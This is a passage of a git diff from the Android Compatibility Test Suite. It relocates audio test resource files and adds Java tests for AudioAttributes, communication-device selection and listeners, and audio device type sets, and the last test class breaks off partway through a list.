Binary files differ
diff --git a/tests/tests/media/res/raw/g_sharp_5_haptic.ogg b/tests/tests/media/audio/res/raw/g_sharp_5_haptic.ogg
similarity index 100%
rename from tests/tests/media/res/raw/g_sharp_5_haptic.ogg
rename to tests/tests/media/audio/res/raw/g_sharp_5_haptic.ogg
Binary files differ
diff --git a/tests/tests/media/audio/res/raw/john_cage.ogg b/tests/tests/media/audio/res/raw/john_cage.ogg
new file mode 100644
index 0000000..62d2335
--- /dev/null
+++ b/tests/tests/media/audio/res/raw/john_cage.ogg
Binary files differ
diff --git a/tests/tests/media/res/raw/midi_a.mid b/tests/tests/media/audio/res/raw/midi_a.mid
similarity index 100%
rename from tests/tests/media/res/raw/midi_a.mid
rename to tests/tests/media/audio/res/raw/midi_a.mid
Binary files differ
diff --git a/tests/tests/media/res/raw/midi_b.mid b/tests/tests/media/audio/res/raw/midi_b.mid
similarity index 100%
rename from tests/tests/media/res/raw/midi_b.mid
rename to tests/tests/media/audio/res/raw/midi_b.mid
Binary files differ
diff --git a/tests/tests/media/res/raw/midi_cs.mid b/tests/tests/media/audio/res/raw/midi_cs.mid
similarity index 100%
rename from tests/tests/media/res/raw/midi_cs.mid
rename to tests/tests/media/audio/res/raw/midi_cs.mid
Binary files differ
diff --git a/tests/tests/media/res/raw/midi_e.mid b/tests/tests/media/audio/res/raw/midi_e.mid
similarity index 100%
rename from tests/tests/media/res/raw/midi_e.mid
rename to tests/tests/media/audio/res/raw/midi_e.mid
Binary files differ
diff --git a/tests/tests/media/res/raw/midi_gs.mid b/tests/tests/media/audio/res/raw/midi_gs.mid
similarity index 100%
rename from tests/tests/media/res/raw/midi_gs.mid
rename to tests/tests/media/audio/res/raw/midi_gs.mid
Binary files differ
diff --git a/tests/tests/media/audio/res/raw/sine1320hz5sec.wav b/tests/tests/media/audio/res/raw/sine1320hz5sec.wav
new file mode 100644
index 0000000..22fde48
--- /dev/null
+++ b/tests/tests/media/audio/res/raw/sine1320hz5sec.wav
Binary files differ
diff --git a/tests/tests/media/res/raw/sine1khzm40db.wav b/tests/tests/media/audio/res/raw/sine1khzm40db.wav
similarity index 100%
rename from tests/tests/media/res/raw/sine1khzm40db.wav
rename to tests/tests/media/audio/res/raw/sine1khzm40db.wav
Binary files differ
diff --git a/tests/tests/media/res/raw/sine1khzs40dblong.mp3 b/tests/tests/media/audio/res/raw/sine1khzs40dblong.mp3
similarity index 100%
rename from tests/tests/media/res/raw/sine1khzs40dblong.mp3
rename to tests/tests/media/audio/res/raw/sine1khzs40dblong.mp3
Binary files differ
diff --git a/tests/tests/media/audio/res/raw/sinesweepraw.raw b/tests/tests/media/audio/res/raw/sinesweepraw.raw
new file mode 100644
index 0000000..c0d48ce
--- /dev/null
+++ b/tests/tests/media/audio/res/raw/sinesweepraw.raw
Binary files differ
diff --git a/tests/tests/media/res/raw/test1m1s.mp3 b/tests/tests/media/audio/res/raw/test1m1s.mp3
similarity index 100%
rename from tests/tests/media/res/raw/test1m1s.mp3
rename to tests/tests/media/audio/res/raw/test1m1s.mp3
Binary files differ
diff --git a/tests/tests/media/res/raw/testmp3.mp3 b/tests/tests/media/audio/res/raw/testmp3.mp3
old mode 100755
new mode 100644
similarity index 100%
rename from tests/tests/media/res/raw/testmp3.mp3
rename to tests/tests/media/audio/res/raw/testmp3.mp3
Binary files differ
diff --git a/tests/tests/media/audio/res/raw/testmp3_2.mp3 b/tests/tests/media/audio/res/raw/testmp3_2.mp3
new file mode 100644
index 0000000..6a70c69
--- /dev/null
+++ b/tests/tests/media/audio/res/raw/testmp3_2.mp3
Binary files differ
diff --git a/tests/tests/media/res/raw/testopus.opus b/tests/tests/media/audio/res/raw/testopus.opus
similarity index 100%
rename from tests/tests/media/res/raw/testopus.opus
rename to tests/tests/media/audio/res/raw/testopus.opus
Binary files differ
diff --git a/tests/tests/media/res/raw/testwav_16bit_44100hz.wav b/tests/tests/media/audio/res/raw/testwav_16bit_44100hz.wav
similarity index 100%
rename from tests/tests/media/res/raw/testwav_16bit_44100hz.wav
rename to tests/tests/media/audio/res/raw/testwav_16bit_44100hz.wav
Binary files differ
diff --git a/tests/tests/media/audio/res/raw/voice12_32k_128kbps_15s_ac3_spdif.raw b/tests/tests/media/audio/res/raw/voice12_32k_128kbps_15s_ac3_spdif.raw
new file mode 100644
index 0000000..a2610bd
--- /dev/null
+++ b/tests/tests/media/audio/res/raw/voice12_32k_128kbps_15s_ac3_spdif.raw
Binary files differ
diff --git a/tests/tests/media/audio/res/raw/voice12_44k_128kbps_15s_ac3_spdif.raw b/tests/tests/media/audio/res/raw/voice12_44k_128kbps_15s_ac3_spdif.raw
new file mode 100644
index 0000000..4023a5c
--- /dev/null
+++ b/tests/tests/media/audio/res/raw/voice12_44k_128kbps_15s_ac3_spdif.raw
Binary files differ
diff --git a/tests/tests/media/audio/res/raw/voice12_48k_128kbps_15s_ac3.raw b/tests/tests/media/audio/res/raw/voice12_48k_128kbps_15s_ac3.raw
new file mode 100644
index 0000000..e8b46af
--- /dev/null
+++ b/tests/tests/media/audio/res/raw/voice12_48k_128kbps_15s_ac3.raw
Binary files differ
diff --git a/tests/tests/media/audio/res/raw/voice12_48k_128kbps_15s_ac3_readme.txt b/tests/tests/media/audio/res/raw/voice12_48k_128kbps_15s_ac3_readme.txt
new file mode 100644
index 0000000..90ca3a0
--- /dev/null
+++ b/tests/tests/media/audio/res/raw/voice12_48k_128kbps_15s_ac3_readme.txt
@@ -0,0 +1,7 @@
+file=voice12_48k_128kbps_15s.raw
+author=Phil Burk
+copyright=2016 Google LLC
+license=Apache Open Source V2
+channels=2
+encoding=AC3
+rate=48000
diff --git a/tests/tests/media/audio/res/raw/voice12_48k_128kbps_15s_ac3_spdif.raw b/tests/tests/media/audio/res/raw/voice12_48k_128kbps_15s_ac3_spdif.raw
new file mode 100644
index 0000000..3215769
--- /dev/null
+++ b/tests/tests/media/audio/res/raw/voice12_48k_128kbps_15s_ac3_spdif.raw
Binary files differ
diff --git a/tests/tests/media/audio/src/android/media/audio/cts/AudioAttributesTest.java b/tests/tests/media/audio/src/android/media/audio/cts/AudioAttributesTest.java
new file mode 100644
index 0000000..8d8d000
--- /dev/null
+++ b/tests/tests/media/audio/src/android/media/audio/cts/AudioAttributesTest.java
@@ -0,0 +1,325 @@
+/*
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.audio.cts;
+
+import static org.testng.Assert.assertThrows;
+import static org.testng.Assert.expectThrows;
+
+import android.audio.policy.configuration.V7_0.AudioUsage;
+import android.media.AudioAttributes;
+import android.media.AudioManager;
+import android.media.cts.NonMediaMainlineTest;
+import android.os.Parcel;
+
+import com.android.compatibility.common.util.CtsAndroidTestCase;
+
+import java.lang.reflect.Field;
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+
+@NonMediaMainlineTest
+public class AudioAttributesTest extends CtsAndroidTestCase {
+
+    // -----------------------------------------------------------------
+    // AUDIOATTRIBUTES TESTS:
+    // ----------------------------------
+
+    // -----------------------------------------------------------------
+    // Parcelable tests
+    // ----------------------------------
+
+    // Test case 1: call describeContents(), not used yet, but needs to be exercised
+    public void testParcelableDescribeContents() throws Exception {
+        final AudioAttributes aa = new AudioAttributes.Builder()
+                .setUsage(AudioAttributes.USAGE_MEDIA).build();
+        assertNotNull("Failure to create the AudioAttributes", aa);
+        assertEquals(0, aa.describeContents());
+    }
+
+    // Test case 2: create an instance, marshall it and create a new instance,
+    //      check for equality, both by comparing fields, and with the equals(Object) method
+    public void testParcelableWriteToParcelCreate() throws Exception {
+        final AudioAttributes srcAttr = new AudioAttributes.Builder()
+            .setUsage(AudioAttributes.USAGE_MEDIA)
+            .setContentType(AudioAttributes.CONTENT_TYPE_MUSIC)
+            .setFlags(AudioAttributes.FLAG_AUDIBILITY_ENFORCED).build();
+        final Parcel srcParcel = Parcel.obtain();
+        final Parcel dstParcel = Parcel.obtain();
+        final byte[] mbytes;
+
+        srcAttr.writeToParcel(srcParcel, 0 /*no public flags for marshalling*/);
+        mbytes = srcParcel.marshall();
+        dstParcel.unmarshall(mbytes, 0, mbytes.length);
+        dstParcel.setDataPosition(0);
+        final AudioAttributes targetAttr = AudioAttributes.CREATOR.createFromParcel(dstParcel);
+
+        assertEquals("Marshalled/restored usage doesn't match",
+                srcAttr.getUsage(), targetAttr.getUsage());
+        assertEquals("Marshalled/restored content type doesn't match",
+                srcAttr.getContentType(), targetAttr.getContentType());
+        assertEquals("Marshalled/restored flags don't match",
+                srcAttr.getFlags(), targetAttr.getFlags());
+        assertTrue("Source and target attributes are not considered equal",
+                srcAttr.equals(targetAttr));
+    }
+
+    // Test case 3: verify going from AudioAttributes to stream type, with attributes built from
+    //    stream type.
+    public void testGetVolumeControlStreamVsLegacyStream() throws Exception {
+        for (int testType : new int[] { AudioManager.STREAM_ALARM, AudioManager.STREAM_MUSIC,
+                AudioManager.STREAM_NOTIFICATION, AudioManager.STREAM_RING,
+                AudioManager.STREAM_SYSTEM, AudioManager.STREAM_VOICE_CALL}) {
+            final AudioAttributes aa = new AudioAttributes.Builder().setLegacyStreamType(testType)
+                    .build();
+            final int stream = aa.getVolumeControlStream();
+            assertEquals("Volume control from attributes, stream doesn't match", testType, stream);
+        }
+    }
+
+    // -----------------------------------------------------------------
+    // Builder tests
+    // ----------------------------------
+    public void testInvalidUsage() {
+        assertThrows(IllegalArgumentException.class,
+                () -> { new AudioAttributes.Builder()
+                        .setUsage(Integer.MIN_VALUE / 2) // some invalid value
+                        .build();
+                });
+    }
+
+    public void testInvalidContentType() {
+        assertThrows(IllegalArgumentException.class,
+                () -> {
+                    new AudioAttributes.Builder()
+                            .setContentType(Integer.MIN_VALUE / 2) // some invalid value
+                            .build();
+                } );
+    }
+
+    public void testDefaultUnknown() {
+        final AudioAttributes aa = new AudioAttributes.Builder()
+                .setFlags(AudioAttributes.ALLOW_CAPTURE_BY_ALL)
+                .build();
+        assertEquals("Unexpected default usage", AudioAttributes.USAGE_UNKNOWN, aa.getUsage());
+        assertEquals("Unexpected default content type",
+                AudioAttributes.CONTENT_TYPE_UNKNOWN, aa.getContentType());
+    }
+
+    // -----------------------------------------------------------------
+    // System usage tests
+    // ----------------------------------
+
+    public void testSetUsage_throwsWhenPassedSystemUsage()
+            throws NoSuchFieldException, IllegalAccessException {
+        int emergencySystemUsage = getEmergencySystemUsage();
+        AudioAttributes.Builder builder = new AudioAttributes.Builder();
+
+        assertThrows(IllegalArgumentException.class, () -> builder.setUsage(emergencySystemUsage));
+    }
+
+    public void testSetSystemUsage_throwsWhenPassedSdkUsage() {
+        InvocationTargetException e = expectThrows(InvocationTargetException.class, () -> {
+            setSystemUsage(new AudioAttributes.Builder(), AudioAttributes.USAGE_MEDIA);
+        });
+
+        assertEquals(IllegalArgumentException.class, e.getTargetException().getClass());
+    }
+
+    public void testBuild_throwsWhenSettingBothSystemAndSdkUsages()
+            throws NoSuchFieldException, IllegalAccessException, NoSuchMethodException,
+            InvocationTargetException {
+        AudioAttributes.Builder builder = new AudioAttributes.Builder()
+                .setUsage(AudioAttributes.USAGE_MEDIA);
+        builder = setEmergencySystemUsage(builder);
+
+        assertThrows(IllegalArgumentException.class, builder::build);
+    }
+
+    public void testGetUsage_returnsUnknownWhenSystemUsageSet()
+            throws NoSuchFieldException, IllegalAccessException, NoSuchMethodException,
+            InvocationTargetException {
+        AudioAttributes attributes = getAudioAttributesWithEmergencySystemUsage();
+
+        assertEquals(AudioAttributes.USAGE_UNKNOWN, attributes.getUsage());
+    }
+
+    public void testGetSystemUsage_returnsSetUsage()
+            throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
+        AudioAttributes attributes = new AudioAttributes.Builder()
+                .setUsage(AudioAttributes.USAGE_MEDIA)
+                .build();
+
+        assertEquals(AudioAttributes.USAGE_MEDIA, getSystemUsage(attributes));
+    }
+
+    public void testSpatializationAttr() {
+        for (int virtBehavior : new int[] { AudioAttributes.SPATIALIZATION_BEHAVIOR_AUTO,
+                                            AudioAttributes.SPATIALIZATION_BEHAVIOR_NEVER}) {
+            AudioAttributes attributes = new AudioAttributes.Builder()
+                    .setUsage(AudioAttributes.USAGE_MEDIA)
+                    .setSpatializationBehavior(virtBehavior)
+                    .build();
+            assertEquals("Spatialization behavior doesn't match", virtBehavior,
+                    attributes.getSpatializationBehavior());
+        }
+
+        for (boolean isVirtualized : new boolean[] { true, false }) {
+            AudioAttributes attributes = new AudioAttributes.Builder()
+                    .setUsage(AudioAttributes.USAGE_MEDIA)
+                    .setIsContentSpatialized(isVirtualized)
+                    .build();
+            assertEquals("Is content virtualized doesn't match", isVirtualized,
+                    attributes.isContentSpatialized());
+        }
+    }
+
+    // -----------------------------------------------------------------
+    // Capture policy tests
+    // ----------------------------------
+    public void testAllowedCapturePolicy() throws Exception {
+        for (int setPolicy : new int[] { AudioAttributes.ALLOW_CAPTURE_BY_ALL,
+                                      AudioAttributes.ALLOW_CAPTURE_BY_SYSTEM,
+                                      AudioAttributes.ALLOW_CAPTURE_BY_NONE }) {
+            final AudioAttributes aa = new AudioAttributes.Builder()
+                    .setAllowedCapturePolicy(setPolicy).build();
+            final int getPolicy = aa.getAllowedCapturePolicy();
+            assertEquals("Allowed capture policy doesn't match", setPolicy, getPolicy);
+        }
+    }
+
+    public void testDefaultAllowedCapturePolicy() throws Exception {
+        final AudioAttributes aa = new AudioAttributes.Builder().build();
+        final int policy = aa.getAllowedCapturePolicy();
+        assertEquals("Wrong default capture policy", AudioAttributes.ALLOW_CAPTURE_BY_ALL, policy);
+    }
+
+    // -----------------------------------------------------------------
+    // Regression tests
+    // ----------------------------------
+    // Test against regression where setLegacyStreamType() was creating a different Builder
+    public void testSetLegacyStreamOnBuilder() throws Exception {
+        final int stream = AudioManager.STREAM_MUSIC;
+        AudioAttributes.Builder builder1 = new AudioAttributes.Builder();
+        builder1.setLegacyStreamType(stream);
+        AudioAttributes attr1 = builder1.build();
+
+        AudioAttributes.Builder builder2 = new AudioAttributes.Builder().setLegacyStreamType(stream);
+        AudioAttributes attr2 = builder2.build();
+
+        assertEquals(attr1, attr2);
+    }
+
+    /**
+     * Test AudioAttributes Builder error handling.
+     *
+     * @throws Exception
+     */
+    public void testAudioAttributesBuilderError() throws Exception {
+        final int BIGNUM = Integer.MAX_VALUE;
+
+        assertThrows(IllegalArgumentException.class, () -> {
+            new AudioAttributes.Builder()
+                    .setContentType(BIGNUM)
+                    .build();
+        });
+
+        // TODO(b/207021564): This should throw IAE in AudioAttributes.Builder.
+        //assertThrows(IllegalArgumentException.class, () -> {
+            new AudioAttributes.Builder()
+                    .setFlags(BIGNUM)
+                    .build();
+        //});
+
+        // TODO(b/207016008): This should throw IAE in AudioAttributes.Builder.
+        //assertThrows(IllegalArgumentException.class, () -> {
+            new AudioAttributes.Builder()
+                    .setLegacyStreamType(BIGNUM)
+                    .build();
+        //});
+
+        assertThrows(IllegalArgumentException.class, () -> {
+            new AudioAttributes.Builder()
+                    .setSpatializationBehavior(BIGNUM)
+                    .build();
+        });
+
+        assertThrows(IllegalArgumentException.class, () -> {
+            new AudioAttributes.Builder()
+                    .setUsage(BIGNUM)
+                    .build();
+        });
+    }
+
+    // -----------------------------------------------------------------
+    // audio_policy_configuration.xsd converter tests
+    // ----------------------------------
+    public void testXsdStringToUsage_returnsCorrectUsage() {
+        int usage = AudioAttributes.xsdStringToUsage(AudioUsage.AUDIO_USAGE_MEDIA.toString());
+
+        assertEquals(AudioAttributes.USAGE_MEDIA, usage);
+    }
+
+    public void testXsdStringToUsage_withUnsupportedString_returnsUnknownUsage() {
+        int usage = AudioAttributes.xsdStringToUsage("not a usage");
+
+        assertEquals(AudioAttributes.USAGE_UNKNOWN, usage);
+    }
+
+    public void testUsageToXsdString_returnsCorrectString() {
+        String xsdUsage = AudioAttributes.usageToXsdString(AudioAttributes.USAGE_MEDIA);
+
+        assertEquals(AudioUsage.AUDIO_USAGE_MEDIA.toString(), xsdUsage);
+    }
+
+    // -------------------------------------------------------------------
+    // Reflection helpers for accessing system usage methods and fields
+    // -------------------------------------------------------------------
+    private static AudioAttributes getAudioAttributesWithEmergencySystemUsage()
+            throws NoSuchFieldException, IllegalAccessException, NoSuchMethodException,
+            InvocationTargetException {
+        AudioAttributes.Builder builder = new AudioAttributes.Builder();
+        builder = setEmergencySystemUsage(builder);
+        return builder.build();
+    }
+
+    private static AudioAttributes.Builder setEmergencySystemUsage(AudioAttributes.Builder builder)
+            throws NoSuchFieldException, IllegalAccessException, NoSuchMethodException,
+            InvocationTargetException {
+        int emergencySystemUsage = getEmergencySystemUsage();
+        return setSystemUsage(builder, emergencySystemUsage);
+    }
+
+    private static AudioAttributes.Builder setSystemUsage(AudioAttributes.Builder builder,
+            int systemUsage)
+            throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
+        Method setSystemUsageMethod = AudioAttributes.Builder.class
+                .getMethod("setSystemUsage", int.class);
+        return (AudioAttributes.Builder) setSystemUsageMethod.invoke(builder, systemUsage);
+    }
+
+    private static int getEmergencySystemUsage()
+            throws IllegalAccessException, NoSuchFieldException {
+        Field emergencyField = AudioAttributes.class.getDeclaredField("USAGE_EMERGENCY");
+        return emergencyField.getInt(null);
+    }
+
+    private static int getSystemUsage(AudioAttributes attributes)
+            throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
+        Method getSystemUsageMethod = AudioAttributes.class.getMethod("getSystemUsage");
+        return (int) getSystemUsageMethod.invoke(attributes);
+    }
+}
diff --git a/tests/tests/media/audio/src/android/media/audio/cts/AudioCommunicationDeviceTest.java b/tests/tests/media/audio/src/android/media/audio/cts/AudioCommunicationDeviceTest.java
new file mode 100644
index 0000000..dec698a
--- /dev/null
+++ b/tests/tests/media/audio/src/android/media/audio/cts/AudioCommunicationDeviceTest.java
@@ -0,0 +1,255 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.audio.cts;
+
+import android.content.pm.PackageManager;
+import android.media.AudioDeviceInfo;
+import android.media.AudioManager;
+import android.util.Log;
+
+import androidx.test.filters.SdkSuppress;
+
+import com.android.compatibility.common.util.CtsAndroidTestCase;
+import com.android.internal.annotations.GuardedBy;
+
+import java.util.List;
+import java.util.concurrent.Executors;
+
+
+@SdkSuppress(minSdkVersion = 31, codeName = "S")
+public class AudioCommunicationDeviceTest extends CtsAndroidTestCase {
+    private final static String TAG = "AudioCommunicationDeviceTest";
+
+    private AudioManager mAudioManager;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        mAudioManager = getInstrumentation().getContext().getSystemService(AudioManager.class);
+    }
+
+    public void testSetValidCommunicationDevice() {
+        if (!isValidPlatform("testSetValidCommunicationDevice")) return;
+
+        AudioDeviceInfo commDevice = null;
+        List<AudioDeviceInfo> devices = mAudioManager.getAvailableCommunicationDevices();
+        for (AudioDeviceInfo device : devices) {
+            try {
+                mAudioManager.setCommunicationDevice(device);
+                try {
+                    commDevice = mAudioManager.getCommunicationDevice();
+                } catch (Exception e) {
+                    fail("getCommunicationDevice failed with exception: " + e);
+                }
+                if (commDevice == null || commDevice.getType() != device.getType()) {
+                    fail("setCommunicationDevice failed, expected device: "
+                            + device.getType() + " but got: "
+                            + ((commDevice == null)
+                                ? AudioDeviceInfo.TYPE_UNKNOWN : commDevice.getType()));
+                }
+            } catch (Exception e) {
+                fail("setCommunicationDevice failed with exception: " + e);
+            }
+        }
+
+        try {
+            mAudioManager.clearCommunicationDevice();
+        } catch (Exception e) {
+            fail("clearCommunicationDevice failed with exception: " + e);
+        }
+        try {
+            commDevice = mAudioManager.getCommunicationDevice();
+        } catch (Exception e) {
+            fail("getCommunicationDevice failed with exception: " + e);
+        }
+        if (commDevice == null) {
+            fail("platform has no default communication device");
+        }
+    }
+
+    public void testSetInvalidCommunicationDevice() {
+        if (!isValidPlatform("testSetInvalidCommunicationDevice")) return;
+
+        AudioDeviceInfo[] alldevices = mAudioManager.getDevices(AudioManager.GET_DEVICES_OUTPUTS);
+        List<AudioDeviceInfo> validDevices = mAudioManager.getAvailableCommunicationDevices();
+
+        for (AudioDeviceInfo device : alldevices) {
+            if (validDevices.contains(device)) {
+                continue;
+            }
+            try {
+                mAudioManager.setCommunicationDevice(device);
+                fail("setCommunicationDevice should fail for device: " + device.getType());
+            } catch (Exception e) {
+            }
+        }
+    }
+
+    static class MyOnCommunicationDeviceChangedListener implements
+            AudioManager.OnCommunicationDeviceChangedListener {
+
+        private final Object mCbLock = new Object();
+        @GuardedBy("mCbLock")
+        private boolean mCalled;
+        @GuardedBy("mCbLock")
+        private AudioDeviceInfo mDevice;
+
+        private static final int LISTENER_WAIT_TIMEOUT_MS = 3000;
+        void reset() {
+            synchronized (mCbLock) {
+                mCalled = false;
+                mDevice = null;
+            }
+        }
+
+        AudioDeviceInfo waitForDeviceUpdate() {
+            synchronized (mCbLock) {
+                while (!mCalled) {
+                    try {
+                        mCbLock.wait(LISTENER_WAIT_TIMEOUT_MS);
+                    } catch (InterruptedException e) {
+                    }
+                }
+                return mDevice;
+            }
+        }
+
+        AudioDeviceInfo getDevice() {
+            synchronized (mCbLock) {
+                return mDevice;
+            }
+        }
+
+        MyOnCommunicationDeviceChangedListener() {
+            reset();
+        }
+
+        @Override
+        public void onCommunicationDeviceChanged(AudioDeviceInfo device) {
+            synchronized (mCbLock) {
+                mCalled = true;
+                mDevice = device;
+                mCbLock.notifyAll();
+            }
+        }
+    }
+
+    public void testCommunicationDeviceListener() {
+        if (!isValidPlatform("testCommunicationDeviceListener")) return;
+
+        MyOnCommunicationDeviceChangedListener listener =
+                new MyOnCommunicationDeviceChangedListener();
+
+        try {
+            mAudioManager.addOnCommunicationDeviceChangedListener(null, listener);
+            fail("addOnCommunicationDeviceChangedListener should fail with null executor");
+        } catch (Exception e) {
+        }
+
+        try {
+            mAudioManager.addOnCommunicationDeviceChangedListener(
+                    Executors.newSingleThreadExecutor(), null);
+            fail("addOnCommunicationDeviceChangedListener should fail with null listener");
+        } catch (Exception e) {
+        }
+
+        try {
+            mAudioManager.removeOnCommunicationDeviceChangedListener(null);
+            fail("removeOnCommunicationDeviceChangedListener should fail with null listener");
+        } catch (Exception e) {
+        }
+
+        try {
+            mAudioManager.addOnCommunicationDeviceChangedListener(
+                Executors.newSingleThreadExecutor(), listener);
+        } catch (Exception e) {
+            fail("addOnCommunicationDeviceChangedListener failed with exception: "
+                    + e);
+        }
+
+        try {
+            mAudioManager.addOnCommunicationDeviceChangedListener(
+                Executors.newSingleThreadExecutor(), listener);
+            fail("addOnCommunicationDeviceChangedListener succeeded for same listener");
+        } catch (Exception e) {
+        }
+
+        AudioDeviceInfo originalDevice = mAudioManager.getCommunicationDevice();
+        assertNotNull("Platform as no default communication device", originalDevice);
+
+        AudioDeviceInfo requestedDevice = null;
+        List<AudioDeviceInfo> devices = mAudioManager.getAvailableCommunicationDevices();
+
+        for (AudioDeviceInfo device : devices) {
+            if (device.getType() != originalDevice.getType()) {
+                requestedDevice = device;
+                break;
+            }
+        }
+        if (requestedDevice == null) {
+            Log.i(TAG,"Skipping end of testCommunicationDeviceListener test,"
+                    +" no valid decice to test");
+            return;
+        }
+        mAudioManager.setCommunicationDevice(requestedDevice);
+        AudioDeviceInfo listenerDevice = listener.waitForDeviceUpdate();
+        if (listenerDevice == null || listenerDevice.getType() != requestedDevice.getType()) {
+            fail("listener and setter device mismatch, expected device: "
+                    + requestedDevice.getType() + " but got: "
+                    + ((listenerDevice == null)
+                        ? AudioDeviceInfo.TYPE_UNKNOWN : listenerDevice.getType()));
+        }
+        AudioDeviceInfo getterDevice = mAudioManager.getCommunicationDevice();
+        if (getterDevice == null || getterDevice.getType() != listenerDevice.getType()) {
+            fail("listener and getter device mismatch, expected device: "
+                    + listenerDevice.getType() + " but got: "
+                    + ((getterDevice == null)
+                        ? AudioDeviceInfo.TYPE_UNKNOWN : getterDevice.getType()));
+        }
+
+        listener.reset();
+
+        mAudioManager.setCommunicationDevice(originalDevice);
+
+        listenerDevice = listener.waitForDeviceUpdate();
+        assertNotNull("Platform as no default communication device", listenerDevice);
+
+        if (listenerDevice.getType() != originalDevice.getType()) {
+            fail("communication device listener failed on clear, expected device: "
+                    + originalDevice.getType() + " but got: " + listenerDevice.getType());
+        }
+
+        try {
+            mAudioManager.removeOnCommunicationDeviceChangedListener(listener);
+        } catch (Exception e) {
+            fail("removeOnCommunicationDeviceChangedListener failed with exception: "
+                    + e);
+        }
+    }
+
+    private boolean isValidPlatform(String testName) {
+        PackageManager pm = getInstrumentation().getContext().getPackageManager();
+        if (!pm.hasSystemFeature(PackageManager.FEATURE_AUDIO_OUTPUT)
+                ||  pm.hasSystemFeature(PackageManager.FEATURE_LEANBACK_ONLY)
+                || !pm.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            Log.i(TAG,"Skipping test " + testName
+                    + " : device has no audio output or is a TV or does not support telephony");
+            return false;
+        }
+        return true;
+    }
+}
diff --git a/tests/tests/media/audio/src/android/media/audio/cts/AudioDeviceInfoTest.java b/tests/tests/media/audio/src/android/media/audio/cts/AudioDeviceInfoTest.java
new file mode 100644
index 0000000..764e3d0
--- /dev/null
+++ b/tests/tests/media/audio/src/android/media/audio/cts/AudioDeviceInfoTest.java
@@ -0,0 +1,128 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.audio.cts;
+
+import static org.junit.Assert.*;
+
+import android.media.AudioDeviceInfo;
+import android.media.cts.NonMediaMainlineTest;
+import android.util.Log;
+import androidx.test.runner.AndroidJUnit4;
+import java.util.HashSet;
+import java.util.Set;
+import java.util.stream.Collectors;
+import java.util.stream.Stream;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@NonMediaMainlineTest
+@RunWith(AndroidJUnit4.class)
+public class AudioDeviceInfoTest {
+    private static final Set<Integer> INPUT_TYPES = Stream.of(
+        AudioDeviceInfo.TYPE_BUILTIN_MIC,
+        AudioDeviceInfo.TYPE_BLUETOOTH_SCO,
+        AudioDeviceInfo.TYPE_BLUETOOTH_A2DP,
+        AudioDeviceInfo.TYPE_WIRED_HEADSET,
+        AudioDeviceInfo.TYPE_HDMI,
+        AudioDeviceInfo.TYPE_TELEPHONY,
+        AudioDeviceInfo.TYPE_DOCK,
+        AudioDeviceInfo.TYPE_USB_ACCESSORY,
+        AudioDeviceInfo.TYPE_USB_DEVICE,
+        AudioDeviceInfo.TYPE_USB_HEADSET,
+        AudioDeviceInfo.TYPE_FM_TUNER,
+        AudioDeviceInfo.TYPE_TV_TUNER,
+        AudioDeviceInfo.TYPE_LINE_ANALOG,
+        AudioDeviceInfo.TYPE_LINE_DIGITAL,
+        AudioDeviceInfo.TYPE_IP,
+        AudioDeviceInfo.TYPE_BUS,
+        AudioDeviceInfo.TYPE_REMOTE_SUBMIX,
+        AudioDeviceInfo.TYPE_BLE_HEADSET,
+        AudioDeviceInfo.TYPE_HDMI_ARC,
+        AudioDeviceInfo.TYPE_HDMI_EARC,
+        AudioDeviceInfo.TYPE_ECHO_REFERENCE)
+            .collect(Collectors.toCollection(HashSet::new));
+
+    private static final Set<Integer> OUTPUT_TYPES = Stream.of(
+        AudioDeviceInfo.TYPE_BUILTIN_EARPIECE,
+        AudioDeviceInfo.TYPE_BUILTIN_SPEAKER,
+        AudioDeviceInfo.TYPE_WIRED_HEADSET,
+        AudioDeviceInfo.TYPE_WIRED_HEADPHONES,
+        AudioDeviceInfo.TYPE_BLUETOOTH_SCO,
+        AudioDeviceInfo.TYPE_BLUETOOTH_A2DP,
+        AudioDeviceInfo.TYPE_HDMI,
+        AudioDeviceInfo.TYPE_DOCK,
+        AudioDeviceInfo.TYPE_USB_ACCESSORY,
+        AudioDeviceInfo.TYPE_USB_DEVICE,
+        AudioDeviceInfo.TYPE_USB_HEADSET,
+        AudioDeviceInfo.TYPE_TELEPHONY,
+        AudioDeviceInfo.TYPE_LINE_ANALOG,
+        AudioDeviceInfo.TYPE_HDMI_ARC,
+        AudioDeviceInfo.TYPE_HDMI_EARC,
+        AudioDeviceInfo.TYPE_LINE_DIGITAL,
+        AudioDeviceInfo.TYPE_FM,
+        AudioDeviceInfo.TYPE_AUX_LINE,
+        AudioDeviceInfo.TYPE_IP,
+        AudioDeviceInfo.TYPE_BUS,
+        AudioDeviceInfo.TYPE_HEARING_AID,
+        AudioDeviceInfo.TYPE_BUILTIN_SPEAKER_SAFE,
